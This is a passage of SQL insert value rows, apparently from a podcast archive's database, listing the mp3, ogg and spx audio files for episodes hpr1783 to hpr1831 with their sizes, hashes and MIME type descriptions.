(1783,'hpr1783.ogg','ogg',5691783,'271d772d1f8b28f9bfa15d2549c6522556d780d3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1783,'hpr1783.spx','spx',2648278,'ba8559a5d50bbe9f2e861c96fb2111b28dc121fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1784,'hpr1784.mp3','mp3',13288584,'9b0a2e94442a3ab481f5c785db418c80716890ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1784,'hpr1784.ogg','ogg',16138376,'dd0532be3a3c10c331b87fa2a0cbec6d5180b55e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1784,'hpr1784.spx','spx',5934532,'38366f1d9f89db814a93e8ee99b7a77e0596c1f3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1785,'hpr1785.mp3','mp3',6472465,'56742437ff87316187c5bd880c186bcb0e7b8c07','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1785,'hpr1785.ogg','ogg',7629889,'07a02673478dd5c67b7300b01879064b547a39d6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1785,'hpr1785.spx','spx',2890397,'a51e093b94c708379845c35ff91d5b0d39516fa3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1786,'hpr1786.mp3','mp3',18575935,'a74ae00fcb9be210944513d6c058b6b74c2bb9de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1786,'hpr1786.ogg','ogg',20493836,'5aa4b98d4e9045a46edceb7dfd408cca0aa34f70','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1786,'hpr1786.spx','spx',8295876,'ecd6881597daac6fd0d484f21ce2ef1d1d84e7c3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1787,'hpr1787.mp3','mp3',9259416,'07621a6f099376a9d2364d73df7eaa48ea4db0b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1787,'hpr1787.ogg','ogg',10232692,'af1e7a676faeda01dd36b7a65cd72a587d50bda8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1787,'hpr1787.spx','spx',4135111,'28c8348135516479c7410e49013427ffac8d04aa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1788,'hpr1788.mp3','mp3',15877382,'44822d1a657b976b1a81334122bd5b7f177ec6ef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1788,'hpr1788.ogg','ogg',16930082,'4ac0e46dba4459221dd1ab45a9494b2b99dd6c83','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1788,'hpr1788.spx','spx',7090740,'0936dd095c1ce6d0b04f4e3eab91c6ac6013a62f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1789,'hpr1789.mp3','mp3',14951238,'0c6a3f32019d0a71cd8f1a0f119bac09e259d599','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1789,'hpr1789.ogg','ogg',16761010,'886a82a112cffd8428447a981bf9c77d04e6a755','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1789,'hpr1789.spx','spx',6677128,'3dbb912cc8c0f1c11bc85b8250c28ac6a098fcb0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1790,'hpr1790.mp3','mp3',7731555,'126657a80a5bf0d17f270509a1424346b517471a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1790,'hpr1790.ogg','ogg',9204019,'a6e7ab5e1e2eb8e1fc8dbdcedc365a05e5717e7e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1790,'hpr1790.spx','spx',3452675,'1f2bb7039a98940438e682f3fbf13a8abe1c7bb1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1791,'hpr1791.mp3','mp3',15294335,'95e2bd68a123d85ff795ed2e1d06464e3fa10101','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1791,'hpr1791.ogg','ogg',17004290,'1b16d2d3f9b7c56dcce1e1f77c4090f4d8bd3d99','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1791,'hpr1791.spx','spx',6830348,'0c6659ba4b8d393a953843821da848befb63a796','application/ogg; charset=binary','Ogg data, Speex audio'),
(1792,'hpr1792.mp3','mp3',5923894,'64c469bd8ab86185ef0a86f4c6510c674a6b8bf5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1792,'hpr1792.ogg','ogg',6346652,'e5322b171304a1519e23950c88e31519d5bf522a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1792,'hpr1792.spx','spx',2645373,'28c34fe6ab357bf5f45abd5ab754e9f7a9cdad49','application/ogg; charset=binary','Ogg data, Speex audio'),
(1793,'hpr1793.mp3','mp3',5391444,'b2443baf7abe9b2535bfc4b6c47e0d6ab14ec003','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1793,'hpr1793.ogg','ogg',5986373,'1fa6aed24a5f0f9c9343a3f718307b0a296f1ebc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1793,'hpr1793.spx','spx',2407576,'65d4dd63c014ee81c32514a404da4ef1abdf9c2f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1794,'hpr1794.mp3','mp3',7019602,'f197cda64de5f85f5f9fe22317084640c72b7d9c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1794,'hpr1794.ogg','ogg',8722557,'9b55fd6d3dbd232b8fd477193b851a9d7226d8db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1794,'hpr1794.spx','spx',3134812,'147f084d032bcb4d467c0cfeb12eb479bf531b65','application/ogg; charset=binary','Ogg data, Speex audio'),
(1795,'hpr1795.mp3','mp3',9361390,'926660cb9d15388ab8d7642c0d48246a27cb488a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1795,'hpr1795.ogg','ogg',11061070,'5ac5ee6286531664ef01eafe310e4e03f2ab9952','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1795,'hpr1795.spx','spx',4180627,'636abad20eb77ec254a2f06eea5724038e82ef5c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1796,'hpr1796.mp3','mp3',7575863,'ade57494352224bd9929a17cb29c601bbf653ace','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1796,'hpr1796.ogg','ogg',7840860,'5ca35491f5db3cf0a65684fa4010af6420432ab4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1796,'hpr1796.spx','spx',3383229,'6ea0a31eeb7f947c4351f80113a17f59bcfb204a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1797,'hpr1797.mp3','mp3',8098574,'b6d61b13c051287b48ebbab57b1d8f2d8c165755','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1797,'hpr1797.ogg','ogg',9477513,'93101a961e0b1417e1077182ab6f8c546b808c7e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1797,'hpr1797.spx','spx',3616724,'1a804919b7a244a2101d38392c497f4afaa53654','application/ogg; charset=binary','Ogg data, Speex audio'),
(1798,'hpr1798.mp3','mp3',5598729,'ffbc7c38226acdfe66413cb505cc50db086886f8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1798,'hpr1798.ogg','ogg',6383691,'8dc9a81bc76c113ef35e5b439a27804e6a7fdf38','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1798,'hpr1798.spx','spx',2500163,'16a6ac9dd1dd4ee81e33f966514c2b7437808a36','application/ogg; charset=binary','Ogg data, Speex audio'),
(1799,'hpr1799.mp3','mp3',6408570,'9b7d14b7918f5c1cfd322592089a6e4c8f5eaecd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1799,'hpr1799.ogg','ogg',7892837,'953a78b59220bc1ed9d842d1bac9494b87f8c122','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1799,'hpr1799.spx','spx',2861861,'46b530497645398c7e0f4a111089fd3fa483420e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1800,'hpr1800.mp3','mp3',8113993,'d43098ca6d97ce860a35a1cfdac1270024343c9c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1800,'hpr1800.ogg','ogg',9570579,'1041830a08c8d676b66a69a1a97c5abdb34a56f1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1800,'hpr1800.spx','spx',3623549,'cd821c33d0903c668bcb59c44d0135107513fddb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1801,'hpr1801.mp3','mp3',2279714,'6a637db65f3113bed902df65a1bde11a5ee62071','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1801,'hpr1801.ogg','ogg',2381881,'b41cd3d8817b1cba0be73bcfc3ecb47ac869e9a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1801,'hpr1801.spx','spx',1017861,'989c229381d59031b16710037e8094b4089abe55','application/ogg; charset=binary','Ogg data, Speex audio'),
(1802,'hpr1802.mp3','mp3',4408824,'a43750d1ce7252385d48fd739f06ae875fdd9450','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1802,'hpr1802.ogg','ogg',4702407,'63142d5bc4f436fa59c98ff61bf278559a80ec00','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1802,'hpr1802.spx','spx',1968688,'d5b61e8772fcb26aa5ba28e7645174a40e59bd03','application/ogg; charset=binary','Ogg data, Speex audio'),
(1803,'hpr1803.mp3','mp3',6343716,'b0b7618fba926057a1129f12783eac6122b8ce3c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1803,'hpr1803.ogg','ogg',7278037,'589b9cf79e8c628182e8377e65d96ac49017369f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1803,'hpr1803.spx','spx',2832918,'6a284a5f6a0770d904939cf1e8b55587badb0e21','application/ogg; charset=binary','Ogg data, Speex audio'),
(1804,'hpr1804.mp3','mp3',11922030,'452c7d6f852368dd2d278930368eb091dbe2c240','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1804,'hpr1804.ogg','ogg',14410280,'bd074ce0592e6b41c6206a3f66af5fae1aa3aba0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1804,'hpr1804.spx','spx',5324241,'9841ef952320c0f7a44c82dbcf6d816ac7566cf9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1805,'hpr1805.mp3','mp3',8268041,'33a0d91851503128cea3c7cea514d27b80e5b50b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1805,'hpr1805.ogg','ogg',9820636,'283dcd7ba0aa0be8db3f3778c4fc525e82ff6beb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1805,'hpr1805.spx','spx',3692313,'594ce7e1beb22305b406eb298698562dd2b5ea2b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1806,'hpr1806.mp3','mp3',49657233,'45db5965438bda316aa41ed3be42808a9814768a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1806,'hpr1806.ogg','ogg',50201084,'cc171d9e0bb4d7a7427bc475c22893155c57de81','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1806,'hpr1806.spx','spx',22177149,'f7d9a3172a18a2e976a8f42acd7a42e3d4f3a5d3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1807,'hpr1807.mp3','mp3',17722034,'6f65c7b0f8e628d81b290355af31c5c4aa24e4c8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1807,'hpr1807.ogg','ogg',19034333,'79ceac463f91c07e94956c61df78892af968f8cd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1807,'hpr1807.spx','spx',7914580,'ce6b116f7a0104da73a10e013dab5de218559d29','application/ogg; charset=binary','Ogg data, Speex audio'),
(1808,'hpr1808.mp3','mp3',3232733,'a4e2875509e36f74dbc758baadc8756ae4abf232','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1808,'hpr1808.ogg','ogg',3468112,'c554431fc17dd2634156ecc9a796442b6a43f48a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1808,'hpr1808.spx','spx',1443536,'90175ba0015dcb7500472cb4a2871621530a1479','application/ogg; charset=binary','Ogg data, Speex audio'),
(1809,'hpr1809.mp3','mp3',5597704,'87f4998026aaba1a65f61c818796938e4e83b1e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1809,'hpr1809.ogg','ogg',6756355,'6868c226862d04f48c099d8ccf960f876c7df310','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1809,'hpr1809.spx','spx',2499757,'74c420ff6046a5b48a2ee0c48df875c0e3043d9c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1810,'hpr1810.mp3','mp3',12130569,'e82b7141b7ae24102f6fb412d96388a5c2989a1d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1810,'hpr1810.ogg','ogg',14517063,'f81ec280b89bcc95be4ce3bff2fd3d2add84adfa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1810,'hpr1810.spx','spx',5417325,'8d36b616723e3505dfd998b21bc867efa64da76d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1811,'hpr1811.mp3','mp3',21544903,'df9fb9aeae8dd5fb38bca91dfc9f99db858e10f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1811,'hpr1811.ogg','ogg',23976030,'aa5c3021a3071b49e19576934de589b16b699db6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1811,'hpr1811.spx','spx',9621923,'76c9b9e9fc190660063c9be415ae0320cf264f42','application/ogg; charset=binary','Ogg data, Speex audio'),
(1812,'hpr1812.mp3','mp3',9708086,'d37c8f139d64b9b03432f2dacb2e41a3fbd4e230','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1812,'hpr1812.ogg','ogg',11154366,'e1c3fded83a1a7378510990b5b06f348a6fab286','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1812,'hpr1812.spx','spx',4335481,'f7c11e078da3fb2d6927be8e1064626e76d0908f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1813,'hpr1813.mp3','mp3',8257188,'06d6b5bfc6315f3bb9b9a2a9ab034e76747b9879','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1813,'hpr1813.ogg','ogg',10598503,'8c9a6b001728f218a768d320ba41aad916351c92','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1813,'hpr1813.spx','spx',3687472,'f9d7a47908a981be04cdc234a88cd1140668112a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1814,'hpr1814.mp3','mp3',6396647,'842c31da127d57e86527f4cb0dd5d398ca197b96','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1814,'hpr1814.ogg','ogg',7789260,'e10ee71bacb8770e5749b0cfcd689c45a5e035bc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1814,'hpr1814.spx','spx',2856569,'70aa44489ec04496ceda760dfa5592515a991ec7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1815,'hpr1815.mp3','mp3',9078267,'c5f62d5bed31d6aeee57b926a734b962e50425c7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1815,'hpr1815.ogg','ogg',10782653,'ef7ec812c930b82ee6c157fad34de9b29a22aa2b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1815,'hpr1815.spx','spx',4054191,'02b6c79767304f0c21ebbb3dfff33dee9ab5665c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1816,'hpr1816.mp3','mp3',5449905,'61e3c2d1fa313c0ae9a2230fd85d63e89fa4747e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1816,'hpr1816.ogg','ogg',6032828,'5894e9dded0f65d79cb46ab39412fa8ded5a08e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1816,'hpr1816.spx','spx',2433698,'46bf35db12659da347f61760b507acc06fab1276','application/ogg; charset=binary','Ogg data, Speex audio'),
(1817,'hpr1817.mp3','mp3',11426953,'3fbcf8e675c409603ee3dde3add38644c45919e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1817,'hpr1817.ogg','ogg',12315300,'463d46d96202e67104ed06ec78b602562d7f5d01','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1817,'hpr1817.spx','spx',5103158,'1fe0e00653c31dc164ee1e9f20a0be29ab361d0f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1818,'hpr1818.mp3','mp3',13714695,'7a422442f9d291f2d9d376b5b16f9c1c8a916d79','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1818,'hpr1818.ogg','ogg',15439399,'f9b5627d63cd4bbfb2d3c2fd18f93b09e75e2452','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1818,'hpr1818.spx','spx',6124893,'08d25a1002f55337e6a42dfe89119436aafbedcc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1819,'hpr1819.mp3','mp3',5710165,'57c4eb1b608e167acd2b77c6f81b9a89235751bb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1819,'hpr1819.ogg','ogg',6710620,'7ccec97d86166a07d86316b7111dcd334a3a8ed7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1819,'hpr1819.spx','spx',2549953,'e45e93ba8db5b670267e998283f370850a4ee937','application/ogg; charset=binary','Ogg data, Speex audio'),
(1820,'hpr1820.mp3','mp3',11096789,'a09993a1183fa354b0a7b5e94627d2ae90b0ad2f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1820,'hpr1820.ogg','ogg',13975002,'0f2b9976ddc5ba9ef9fb75b90b31681e3df9db93','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1820,'hpr1820.spx','spx',4955693,'a115b2fd314a227971f19cd20bd8074306d5b465','application/ogg; charset=binary','Ogg data, Speex audio'),
(1821,'hpr1821.mp3','mp3',4375164,'53c34987628da1e339630bad0864ce372b680ce1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1821,'hpr1821.ogg','ogg',4725844,'50e60e02caeba54820ad7ea934817b1fa57a83c1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1821,'hpr1821.spx','spx',1953754,'e52e33c47cdcbc5e201229aa0ee182c6fa54f300','application/ogg; charset=binary','Ogg data, Speex audio'),
(1822,'hpr1822.mp3','mp3',10921863,'a307841170b367a495f9e74e272e6da0feaf46db','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1822,'hpr1822.ogg','ogg',12151419,'1ae54987a5d60506dd918757d812597eb36e1221','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1822,'hpr1822.spx','spx',4877567,'2b8948b56578fbb1bce0433515ff141c2ab3c1ac','application/ogg; charset=binary','Ogg data, Speex audio'),
(1823,'hpr1823.mp3','mp3',14647377,'9b3c5d0552df5cbf65b7e04439b55116258a9304','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1823,'hpr1823.ogg','ogg',17794400,'54c07002ea320295209141e91a5dd09e007d2e01','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1823,'hpr1823.spx','spx',6541431,'8e154e7c4a89a11baf9d19250abde57a10408396','application/ogg; charset=binary','Ogg data, Speex audio'),
(1824,'hpr1824.mp3','mp3',15633723,'724efdba83b7193cc1b0ef8a3596298239a7739c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1824,'hpr1824.ogg','ogg',20508556,'e82a3fde5ebae6ffec033557b8805127b3680921','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1824,'hpr1824.spx','spx',6981916,'18cded539e584b5d0b0a617b1d90575fd5ebe4a4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1825,'hpr1825.mp3','mp3',7896682,'4fdfc61d452626638048f9d17fc304181ab162f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1825,'hpr1825.ogg','ogg',9283166,'06f269a9b9e898f9e6719287c12146406065ae6c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1825,'hpr1825.spx','spx',3526538,'f8e773e4bd3fa1ce68a2d8e2b18646e2158a699c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1826,'hpr1826.mp3','mp3',40891375,'298c630b866c9b8c2fbba8fbbc5be9fe55dab272','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1826,'hpr1826.ogg','ogg',37448347,'6d0bf107394242f9172554a835256c3d7b6cced0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1826,'hpr1826.spx','spx',18262189,'7f3b12e109eb6f43115679b7d42eaebac2c17754','application/ogg; charset=binary','Ogg data, Speex audio'),
(1827,'hpr1827.mp3','mp3',9962013,'4406e3d11708a23869a81190352981997ac5b041','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1827,'hpr1827.ogg','ogg',11021140,'3160b5cd49d1c61c5ea81a37426e4fbde2659367','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1827,'hpr1827.spx','spx',4448833,'033e62c0a852099777e33c787002025b27234ca3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1828,'hpr1828.mp3','mp3',9564518,'6691b0c9e5eff63d1c095c290a700e8062ba472f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1828,'hpr1828.ogg','ogg',10361487,'a34d228624ddbb51a75ff74117970df97a7d7d4d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1828,'hpr1828.spx','spx',4271319,'57b97f40674689ef93fa4afca790475f30b7aa7d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1829,'hpr1829.mp3','mp3',6946820,'851068475a965ed84b7e230cbb1c531bdb960f5f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1829,'hpr1829.ogg','ogg',9097645,'1d6d4e2757a292366878e3a150244890f03d57a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1829,'hpr1829.spx','spx',3102163,'8042b6ad94e1601162b41df4120ea634c9cee9e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1830,'hpr1830.mp3','mp3',6351664,'2cf532a0dbb054ac3c71ce51c2bc0f1c996e066a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1830,'hpr1830.ogg','ogg',7143899,'34423ef4bd91ca3d0984343b5005409f1f7b18c0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1830,'hpr1830.spx','spx',2836431,'79e26d4b962c9fda5ca56ecefeb9c6a19794da5d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1831,'hpr1831.mp3','mp3',4377896,'5c35babeae7867ac823d4a799a7c9d8cafc85c6b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
